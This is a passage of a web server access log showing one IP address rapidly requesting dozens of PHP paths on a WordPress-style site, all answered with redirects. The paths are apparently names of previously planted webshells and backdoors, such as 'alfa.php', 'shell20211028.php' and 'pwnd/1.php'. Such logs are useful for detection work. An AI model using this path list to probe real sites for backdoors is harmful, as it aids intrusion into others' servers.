x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:10 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:46:11 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:11 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:11 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:11 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:46:11 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:12 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:46:12 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:12 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:13 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:13 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:13 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:13 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:46:13 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:14 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:14 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:14 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:46:15 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:15 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:46:16 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:16 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:46:16 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:17 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:18 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:18 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:46:19 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:19 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:46:20 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:20 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:21 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:21 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:22 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:24 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:46:25 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:46:25 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:26 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:27 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:27 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:28 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:46:29 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:29 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:31 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:46:31 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:32 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:46:32 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:34 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:34 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:46:35 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:35 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:46:37 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:38 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.18 - - [29/Apr/2025:14:46:39 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:40 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:40 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:41 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:42 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:43 -0400] "GET /wp-content/themes/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:43 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:44 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:46:44 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:46:44 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:45 -0400] "GET /la.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:45 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:46:46 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.18 - - [29/Apr/2025:14:46:46 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:46:47 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:47 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:48 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:48 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:46:48 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:48 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:46:49 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:49 -0400] "GET /wp-content/plugins/seoo/xynz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:49 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:49 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:49 -0400] "GET /wp-admin/js/widgets/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:46:50 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:50 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:46:51 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:51 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:51 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:52 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:52 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:46:52 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:52 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:52 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:53 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:46:53 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:53 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:53 -0400] "GET /rt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:53 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:54 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:46:54 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:54 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:55 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:55 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:56 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:56 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:57 -0400] "GET /hjk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:57 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:57 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:46:57 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:57 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:58 -0400] "GET /wp-includes/js/plupload/jquery.Jcrop.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:59 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:59 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:46:59 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:47:00 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:00 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:00 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:00 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:47:00 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:01 -0400] "GET /index/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:02 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:02 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:02 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.18 - - [29/Apr/2025:14:47:03 -0400] "GET /hui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - 